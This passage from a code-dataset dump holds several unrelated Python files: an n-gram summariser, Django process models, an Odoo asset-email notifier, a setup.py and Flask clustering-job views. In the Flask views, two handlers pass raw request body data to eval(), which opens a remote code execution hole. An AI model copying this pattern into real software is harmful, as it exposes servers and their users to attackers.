if int(val) > self.highestPos:\n self.highestPos = int(val)\n\n\n if ngram in self.nGramObject[n]:\n print(ngram)\n print(\"Len nGramObject \"+str(n), len(self.nGramObject[n][ngram][\"position\"]))\n print(len(positions))\n self.nGramObject[n][ngram][\"value\"] = int(value) + int(self.nGramObject[n][ngram][\"value\"])\n self.nGramObject[n][ngram][\"position\"] += positions\n\n\n else:\n\n self.nGramObject[n][ngram] = {\"value\": int(value), \"position\": positions, \"start-pitch\": startpitch}\n\n\nclass HtmlSum(Summarize):\n def get_table(self, nGramObject, n):\n\n #\n # Erstellt Datenstring für html-Datei aus Dict\n #\n print(\"To Table Mass...\")\n\n output = \"<table>\"\n output += \"<thead><tr><td>nGramm</td><td>Häufigkeit</td><td>Positionen</td></tr></thead><tbody>\"\n\n for nGram in nGramObject:\n # print(nGram)\n # print(len(nGramObject))\n # print(len(nGramObject[nGram][\"position\"]))\n # print(nGramObject[nGram][\"value\"])\n output += \"<tr><td>\" + nGramObject[str(nGram)]['start-pitch'] + \": \" + str(nGram) + \"</td><td>\" + str(\n nGramObject[str(nGram)]['value']) + \"</td><td><ul>\"\n\n for pos in nGramObject[nGram][\"position\"]:\n output += \"<li>\" + str(pos[\"start-measure\"]) + \":\" + str(pos[\"end-measure\"]) + \" (\" + pos[\n \"parent\"] + \")</li>\"\n\n output += \"</ul></td></tr>\"\n output += \"</tbody></table>\"\n boutput = \"<!--HEADER|Alle|Messen|\" + str(n) + \"|\" + str(self.highestPos) + \"|-->\" + output\n return boutput\n\n def save(self):\n print(\"Save Massdata\")\n for n in self.ngramlist:\n filename = \"complet\" + str(n) + '.html'\n movementstring = self.get_table(self.nGramObject[n], n)\n with open(self.dirname + filename, \"w\") as f:\n f.write(str(movementstring))\n print(\"Successfull written\", f)\n\n\nclass JsonSum(Summarize):\n\n def filter_to_unique(self, positions):\n movLabels = [\"k\", \"g\", \"c\", \"s\", \"b\", \"ad\"]\n controllist = []\n for p in positions:\n parents = p[\"parent\"].split(\")(\")\n measure = (p[\"start-measure\"] + p[\"end-measure\"]) / 2\n missa = int(parents[1])-1\n checksum = [str(missa), str(movLabels.index(parents[0])), str(measure)]\n if checksum not in controllist:\n\n controllist.append([str(missa), str(movLabels.index(parents[0])), str(measure)])\n return controllist\n\n def get_json(self,ngramArray, n):\n\n\n ngramout = []\n for ngram in ngramArray:\n if ngram == \"0|0|0|0|0|0|0|0|0|0|0|0|0|0\":\n continue\n print(ngram)\n positionsArray = ngramArray[ngram][\"position\"]\n positionsArrayUnique = self.filter_to_unique(positionsArray)\n comb = itertools.combinations(positionsArrayUnique, 2)\n for c in comb:\n if (c[0][0] > c[1][0]):\n ob = {\"start\": c[0], \"end\": c[1]}\n else:\n ob = {\"start\": c[1], \"end\": c[0]}\n\n if ob not in ngramout:\n ngramout.append(ob)\n\n print(len(ngramout))\n return repr(ngramout)\n\n\n def save(self):\n savestring = \"var ngram = {\"\n print(\"Save Massdata\")\n i = 0\n if i != 0:\n savestring += \",\"\n savestring += str(15)+\": \"\n savestring += self.get_json(self.nGramObject[15], 15)\n i+=1\n savestring += \"};\"\n with open(\"edges.js\", \"w\") as f:\n f.write(str(savestring))\n print(\"Successfull written\", f)\n\n\ns = JsonSum(\"./\")\ns.get_all_mfiles()\n\ns.get_ngram_object()\n#print(s.nGramObject[15])\ns.save()\n\n\n", "sub_path": "python/v2/summarize.py", "file_name": "summarize.py", "file_ext": "py", "file_size_in_byte": 6131, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "glob.glob", "line_number": 12, "usage_type": "call"}, {"api_name": "re.search", "line_number": 17, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 21, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 38, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 38, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 40, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 45, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "itertools.combinations", "line_number": 131, "usage_type": "call"}]} {"seq_id": "49808414", "text": "\"\"\"\nModel how processes and applications are intertwined.\n\nThe process is the core object - a process starts and ends and can span\nother processes or lead to other processes being started. Process\nresponsibility is supervised by a department, but other departments *may*\nbe involved in bringing the process to an end.\n\nApplications are actual software applications that *may* assist in bringing\na process to an end. Not all applications are used for all processes - we can\ncreate an overview of which apps are relevant for processes and vice versa.\n\nThe applications app relates back to processes.\n\"\"\"\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom django_activiti.client import get_client_class as get_activiti_client_class\nfrom django_activiti.fields import (\n ProcessDefinitionField as ActivitiProcessDefinitionField,\n)\nfrom django_camunda.client import get_client_class as get_camunda_client_class\nfrom django_camunda.fields import (\n ProcessDefinitionField as CamundaProcessDefinitionField,\n)\nfrom treebeard.mp_tree import MP_Node\n\nfrom .constants import ProcessStatusChoices, RiskLevels, StorageTypes\n\n\nclass Department(MP_Node):\n name = models.CharField(_(\"name\"), max_length=255)\n contact_details = models.TextField(\n _(\"contact details\"),\n blank=True,\n help_text=_(\"Contact details for the responsible(s) of the department.\"),\n )\n\n node_order_by = [\"name\"]\n\n class Meta:\n verbose_name = _(\"department\")\n verbose_name_plural = _(\"departments\")\n\n def __str__(self):\n return self.name\n\n\nclass Process(models.Model):\n \"\"\"\n Represent a process as practiced by the municipality.\n\n Contains relations to which applications are involved and generally useful\n information.\n \"\"\"\n\n name = models.CharField(\n _(\"name\"),\n max_length=255,\n help_text=_(\"Human-friendly name.\"),\n )\n camunda_id = CamundaProcessDefinitionField(\n _(\"Camunda process\"),\n blank=True,\n )\n activiti_id = ActivitiProcessDefinitionField(\n _(\"Activiti process\"),\n blank=True,\n )\n\n description = models.TextField(\n _(\"description\"),\n blank=True,\n help_text=_(\"Extended description of the process.\"),\n )\n department = models.ForeignKey(\n \"Department\",\n on_delete=models.PROTECT,\n related_name=\"owned_processes\",\n verbose_name=_(\"department\"),\n help_text=_(\"The department responsible for this process.\"),\n )\n other_departments = models.ManyToManyField(\n \"Department\",\n blank=True,\n related_name=\"involved_in\",\n verbose_name=_(\"other departments\"),\n help_text=_(\"Other departments that may play a role in this process\"),\n )\n\n # relations\n initiating_processes = models.ManyToManyField(\n \"self\",\n blank=True,\n symmetrical=False,\n related_name=\"initiates\",\n verbose_name=_(\"initiating processes\"),\n help_text=_(\n \"The set of processes that may lead to this process being started.\"\n ),\n )\n applications = models.ManyToManyField(\n \"applications.Application\",\n blank=True,\n related_name=\"processes\",\n help_text=_(\"Set of applications used to handle this process\"),\n )\n\n # information for the systematic overview - which is an inventory tracking meta-information\n # of processes\n personal_data = models.BooleanField(\n _(\"personal data\"),\n default=True,\n help_text=_(\"Does personal data end up in the process?\"),\n )\n process_status = models.CharField(\n _(\"process status\"),\n max_length=50,\n choices=ProcessStatusChoices.choices,\n default=ProcessStatusChoices.active,\n )\n deactivation_date = models.DateField(\n _(\"deactivation date\"),\n null=True,\n blank=True,\n help_text=_(\n \"Date when this process became deactivated/historical. Leave blank \"\n \"for 'in production' processes.\"\n ),\n )\n zaaktype = models.URLField(\n _(\"zaaktype\"),\n max_length=1000,\n blank=True,\n help_text=_(\"Zaaktype in the Catalogi API.\"),\n )\n zaaktype_owner = models.ForeignKey(\n \"Department\",\n on_delete=models.PROTECT,\n blank=True,\n null=True,\n related_name=\"+\",\n verbose_name=_(\"zaaktype owner\"),\n help_text=_(\"The department owning the zaaktype.\"),\n )\n risk_level = models.CharField(\n _(\"risk level\"), max_length=50, choices=RiskLevels.choices, blank=True\n )\n\n # locations of archive\n location_digital = models.ForeignKey(\n \"StorageLocation\",\n on_delete=models.PROTECT,\n limit_choices_to={\"storage_type\": StorageTypes.digital},\n blank=True,\n null=True,\n verbose_name=_(\"Location digital\"),\n related_name=\"+\",\n )\n location_analogue = models.ForeignKey(\n \"StorageLocation\",\n on_delete=models.PROTECT,\n limit_choices_to={\"storage_type\": StorageTypes.analogue},\n blank=True,\n null=True,\n verbose_name=_(\"Location analogue\"),\n related_name=\"+\",\n )\n\n class Meta:\n verbose_name = _(\"process\")\n verbose_name_plural = _(\"processes\")\n\n def __str__(self):\n return self.name\n\n @property\n def applications_with_layers(self):\n apps = [\n {\"layer\": app.layer, \"application\": app}\n for app in self.applications.order_by(\"-layer\")\n ]\n return apps\n\n @property\n def camunda_key(self) -> str:\n if not self.camunda_id:\n return \"\"\n return self.camunda_id.split(\":\")[0]\n\n @property\n def activiti_key(self) -> str:\n if not self.activiti_id:\n return \"\"\n return self.activiti_id.split(\":\")[0]\n\n @property\n def version(self) -> str:\n if self.activiti_id:\n return self.activiti_id.split(\":\")[1]\n elif self.camunda_id:\n return self.camunda_id.split(\":\")[1]\n return \"\"\n\n def xml(self) -> str:\n if self.activiti_id:\n client = get_activiti_client_class()()\n xml_data = client.get(\n f\"repository/process-definitions/{self.activiti_id}/resourcedata\"\n ).decode()\n return xml_data\n\n if self.camunda_id:\n client = get_camunda_client_class()()\n response = client.get(f\"process-definition/{self.camunda_id}/xml\")\n return response[\"bpmn20_xml\"]\n\n return \"\"\n\n\nclass StorageLocation(models.Model):\n name = models.CharField(_(\"name\"), max_length=100)\n storage_type = models.CharField(\n _(\"storage type\"),\n max_length=50,\n choices=StorageTypes.choices,\n default=StorageTypes.digital,\n )\n\n class Meta:\n verbose_name = _(\"storage location\")\n verbose_name_plural = _(\"storage locations\")\n\n def __str__(self):\n return self.name\n", "sub_path": "src/beheerconsole/processes/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 7024, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "treebeard.mp_tree.MP_Node", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 34, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 36, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 42, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 49, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 58, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 60, "usage_type": "call"}, {"api_name": "django_camunda.fields.ProcessDefinitionField", "line_number": 62, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 63, "usage_type": "call"}, {"api_name": "django_activiti.fields.ProcessDefinitionField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 72, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 78, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 78, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 80, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 83, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 87, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 92, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 97, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 102, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 102, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 106, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 111, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 111, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 112, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 117, "usage_type": "call"}, {"api_name": "constants.ProcessStatusChoices.choices", "line_number": 119, "usage_type": "attribute"}, {"api_name": "constants.ProcessStatusChoices", "line_number": 119, "usage_type": "name"}, {"api_name": "constants.ProcessStatusChoices.active", "line_number": 120, "usage_type": "attribute"}, {"api_name": "constants.ProcessStatusChoices", "line_number": 120, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 122, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 122, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 123, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 126, "usage_type": "call"}, {"api_name": "django.db.models.URLField", "line_number": 131, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 131, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 132, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 135, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 137, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 139, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 139, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 143, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 144, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 146, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 146, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 147, "usage_type": "call"}, {"api_name": "constants.RiskLevels.choices", "line_number": 147, "usage_type": "attribute"}, {"api_name": "constants.RiskLevels", "line_number": 147, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 151, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 151, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 153, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 153, "usage_type": "name"}, {"api_name": "constants.StorageTypes.digital", "line_number": 154, "usage_type": "attribute"}, {"api_name": "constants.StorageTypes", "line_number": 154, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 157, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 160, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 160, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 162, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 162, "usage_type": "name"}, {"api_name": "constants.StorageTypes.analogue", "line_number": 163, "usage_type": "attribute"}, {"api_name": "constants.StorageTypes", "line_number": 163, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 166, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 171, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 172, "usage_type": "call"}, {"api_name": "django_activiti.client.get_client_class", "line_number": 207, "usage_type": "call"}, {"api_name": "django_camunda.client.get_client_class", "line_number": 214, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 221, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 221, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 222, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 222, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 222, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 223, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 223, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 224, "usage_type": "call"}, {"api_name": "constants.StorageTypes.choices", "line_number": 226, "usage_type": "attribute"}, {"api_name": "constants.StorageTypes", "line_number": 226, "usage_type": "name"}, {"api_name": "constants.StorageTypes.digital", "line_number": 227, "usage_type": "attribute"}, {"api_name": "constants.StorageTypes", "line_number": 227, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 231, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 232, "usage_type": "call"}]} {"seq_id": "279787544", "text": "# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\n\nfrom odoo import models, fields, api,_\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT\n\n\nclass Asset(models.Model):\n _inherit = 'account.asset.asset'\n\n is_apply_notification = fields.Boolean('Apply Notification')\n emails = fields.Many2many('res.users', string=\"Emails\")\n date_before_notification = fields.Integer(\"Date Before Notification\", default=10)\n\n @api.multi\n def set_as_open(self):\n for rec in self.search([]):\n if rec.is_apply_notification:\n if rec.emails:\n depreciation_date = datetime.now().date() + relativedelta(days=rec.date_before_notification)\n domain = [\n \"|\",\n ('depreciation_date', '=', datetime.now().date().strftime(DEFAULT_SERVER_DATE_FORMAT)),\n ('depreciation_date', '=', depreciation_date),\n ('asset_id', '=', rec.id),\n ]\n base_url = self.env['ir.config_parameter'].sudo().get_param('web.base.url')\n url = base_url + '/web#id=%s&view_type=form&model=account.asset.asset' % (rec.id)\n for line in self.env['account.asset.depreciation.line'].search(domain):\n\n email_from = self.company_id.email or 'Administrator <admin@example.com>'\n for partner in rec.emails.mapped('partner_id'):\n subject = 'Asset Notification'\n message = \"\"\"\n <html>\n <head>\n Dear %s,\n </head>\n <body>\n You have an Asset <a href=\"%s\" target=\"_blank\">%s</a> need to generate. <br/>\n Requestor: %s.\n </body>\n <html>\"\"\" % ( partner.name, url, line.asset_id.name, rec.responsible_id.user_id.partner_id.name)\n\n mail_message = {\n 'subject': subject,\n 'email_from': email_from,\n 'body': message,\n 'partner_ids': [(6, 0, [partner.id])],\n 'needaction_partner_ids': [(6, 0, [partner.id])]\n }\n thread_pool = self.env['mail.message'].create(mail_message)\n thread_pool.needaction_partner_ids = [(6, 0, [partner.id])]\n\n email_out = {\n 'state': 'outgoing',\n 'subject': subject,\n 'body_html': '<pre>%s</pre>' % message,\n 'email_to': partner.email,\n 'email_from': email_from,\n }\n self.env['mail.mail'].create(email_out)\n", "sub_path": "beta-dev1/mgm_modifier_recurring/models/asset_wizard.py", "file_name": "asset_wizard.py", "file_ext": "py", "file_size_in_byte": 3280, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "odoo.models.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 11, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 14, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 14, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 15, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 15, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 16, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 23, "usage_type": "call"}, {"api_name": "openerp.tools.DEFAULT_SERVER_DATE_FORMAT", "line_number": 26, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 18, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 18, "usage_type": "name"}]} {"seq_id": "609679679", "text": "from setuptools import setup\nimport os\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n \nsetup(\n name='pyurfa',\n version='0.0.1',\n description='Python api for UTM5 Billing',\n author='Ilia Gavrilin',\n author_email='gavrilin.ilia@gmail.com',\n url='http://bitbucket.org/chubi/pyurfa',\n keywords = \"netup utm5 api\",\n install_requires=[''],\n license='BSD',\n packages=['pyurfa'],\n long_description=read('README'),\n classifiers=[\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n ],\n)\n", "sub_path": "pypi_install_script/pyurfa-0.0.1.tar/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 601, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 7, "usage_type": "call"}]} {"seq_id": "148263434", "text": "from flask import render_template, flash, redirect, url_for, request, jsonify, \\\n current_app, g\nfrom flask_babelex import lazy_gettext as _\nfrom flask_login import current_user, login_required, login_user, logout_user\nfrom rapidannotator import db\nfrom rapidannotator import bcrypt\nfrom rapidannotator.modules.clustering import blueprint\nimport datetime, os, base64, json, pandas\nfrom rapidannotator.models import User, Experiment, Clustering, NotificationInfo\nimport requests as rq\n\n\n\n@blueprint.route('/_setJob', methods=['GET', 'POST'])\ndef _setJob():\n\texperimentId = int(request.args.get('experimentId', None))\n\tuserId = int(request.args.get('userId', None))\n\t\n\tclustering = Clustering.query.filter_by(experiment_id = experimentId).first()\n\tif clustering is None:\n\t\tclustering = Clustering(experiment_id = experimentId, user_id = userId, status=0)\n\t\tdb.session.add(clustering)\n\t\tdb.session.commit()\n\n\t\tresponse = {}\n\t\tresponse['success'] = True\n\t\treturn jsonify(response)\n\telse:\n\t\tclustering = Clustering.query.filter_by(experiment_id = experimentId).first()\n\t\tresponse = {}\n\t\tresponse['success'] = False\n\t\tresponse['msg'] = \"Clustering is under process ! Please Wait!\"\n\t\tif clustering.status == 2:\n\t\t\tresponse['msg'] = \"Clustering is already Done!\"\n\t\treturn jsonify(response)\n\n\n@blueprint.route('/getJobData', methods=['GET'])\ndef index():\n\tclusters = Clustering.query.all()\n\tresponse = {}\n\tresponse['jobsData'] = []\n\tfor cluster in clusters:\n\t\tif str(cluster.status) == '0':\n\t\t\tfrom rapidannotator import app\n\t\t\texperimentDIR = os.path.join(app.config['UPLOAD_FOLDER'], str(cluster.experiment_id))\n\t\t\tinputConcordance = os.path.join(experimentDIR, 'concordance.csv')\n\t\t\tdata = pandas.read_csv(inputConcordance)\n\t\t\tfirst_pair = data['Screenshot'].tolist()\n\t\t\tsecond_pair = list(range(1, len(first_pair) + 1))\n\t\t\tdictionary = {'fileId': second_pair, 'imageURLS': first_pair, 'jobId': cluster.id, 'experiment_id': str(cluster.experiment_id)}\n\t\t\tresponse['jobsData'].append(dictionary)\n\tresponse['success'] = True\n\treturn jsonify(response)\n\n@blueprint.route('/setJobStatus', methods=['GET', 'POST'])\ndef setJobStatus():\n\n\tcontent = request.data\n\tcontent = content.decode('utf-8')\n\tcontent = eval(content)\n\tjobId = int(content['jobId'])\n\t\n\tclustering = Clustering.query.filter_by(id = jobId).first()\n\tif clustering is None:\n\t\tresponse = {}\n\t\tresponse['success'] = False\n\t\treturn jsonify(response)\n\n\tif content['jobStatus'] == 'Processing':\n\t\tclustering.status = 1\n\t\tdb.session.commit()\n\n\tresponse = {}\n\tresponse['success'] = True\n\treturn jsonify(response)\n\n\n@blueprint.route('/publishResults', methods=['GET', 'POST'])\ndef publishResults():\n\n\tcontent = request.data\n\tcontent = content.decode('utf-8')\n\tcontent = eval(content)\n\t\n\tfrom rapidannotator import app\n\texperimentDIR = os.path.join(app.config['UPLOAD_FOLDER'], str(content['experiment_id']))\n\toutJson = os.path.join(experimentDIR, 'output.json')\n\n\n\tout = content['largest1']\n\tout1 = sorted(range(len(out)), key=lambda k: out[k], reverse=True)\n\tcontent['sortOrder'] = out1\n\n\n\twith open(outJson, 'w') as json_file:\n\t\tjson.dump(content, json_file, indent = 4, sort_keys=True)\n\n\tjobId = int(content['job_id'])\n\tclustering = Clustering.query.filter_by(id = jobId).first()\n\n\tif clustering is None:\n\t\tresponse = {}\n\t\tresponse['success'] = False\n\t\treturn jsonify(response)\n\n\tclustering.status = 2\n\tdb.session.commit()\n\n\texperimentId = int(content['experiment_id'])\n\texperiment_info = Experiment.query.filter_by(id=experimentId).first()\n\texperiment_owners = experiment_info.owners\n\tuser = User.query.filter_by(id = int(clustering.user_id)).first()\n\n\tfor owner in experiment_owners:\n\t\towner.numNotif += 1 \n\t\tmessage = 'The Clustering for the experiment ' + experiment_info.name + ' got completed by the ' + user.fullname\n\t\tnotify = NotificationInfo()\n\t\tnotify.user_id = owner.id\n\t\tnotify.username = user.username\n\t\tnotify.notification = message\n\t\tdb.session.add(notify)\n\t\tdb.session.commit()\n\n\tresponse = {}\n\tresponse['success'] = True\n\treturn jsonify(response)\n\n@blueprint.route('/getStatus', methods=['GET', 'POST'])\ndef getStatus():\n\texperiment_id = request.form['experiment_id']\n\tif experiment_id is not None:\n\t\texperiment_id = int(experiment_id)\n\n\tclustering = Clustering.query.filter_by(experiment_id = experiment_id, user_id = int(current_user.id)).first()\n\tif clustering is None:\n\t\tstatus = 0\n\telse:\n\t\tstatus = clustering.status\n\n\tresponse = {}\n\tresponse['success'] = True\n\tresponse['status'] = status\n\treturn jsonify(response)\n\n@blueprint.route('/toggleDisplay', methods=['GET', 'POST'])\ndef toggleDisplay():\n\texperiment_id = request.args.get('experiment_id', None)\n\toption = request.args.get('option')\n\tclustering = Clustering.query.filter_by(experiment_id = experiment_id, user_id = int(current_user.id)).first()\n\tresponse = {}\n\tif clustering is None:\n\t\tresponse['success'] = False\n\telse:\n\t\tif option == \"Yes\":\n\t\t\tclustering.display = 1\n\t\telse:\n\t\t\tclustering.display = 0\n\t\tdb.session.commit()\n\t\tresponse['success'] = True\n\treturn jsonify(response)\n", "sub_path": "rapidannotator/modules/clustering/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.request.args.get", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 19, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 19, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 21, "usage_type": "call"}, {"api_name": "rapidannotator.db.session.add", "line_number": 22, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 22, "usage_type": "name"}, {"api_name": "rapidannotator.db.session.commit", "line_number": 23, "usage_type": "call"}, {"api_name": "rapidannotator.db.session", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rapidannotator.db", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query.filter_by", "line_number": 29, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 29, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 35, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint.route", "line_number": 14, "usage_type": "call"}, {"api_name": "rapidannotator.modules.clustering.blueprint", "line_number": 14, "usage_type": "name"}, {"api_name": "rapidannotator.models.Clustering.query.all", "line_number": 40, "usage_type": "call"}, {"api_name": "rapidannotator.models.Clustering.query", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rapidannotator.models.Clustering", "line_number": 40, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rapidannotator.app.config", "line_number": 46, "usage_type": "attribute"}, 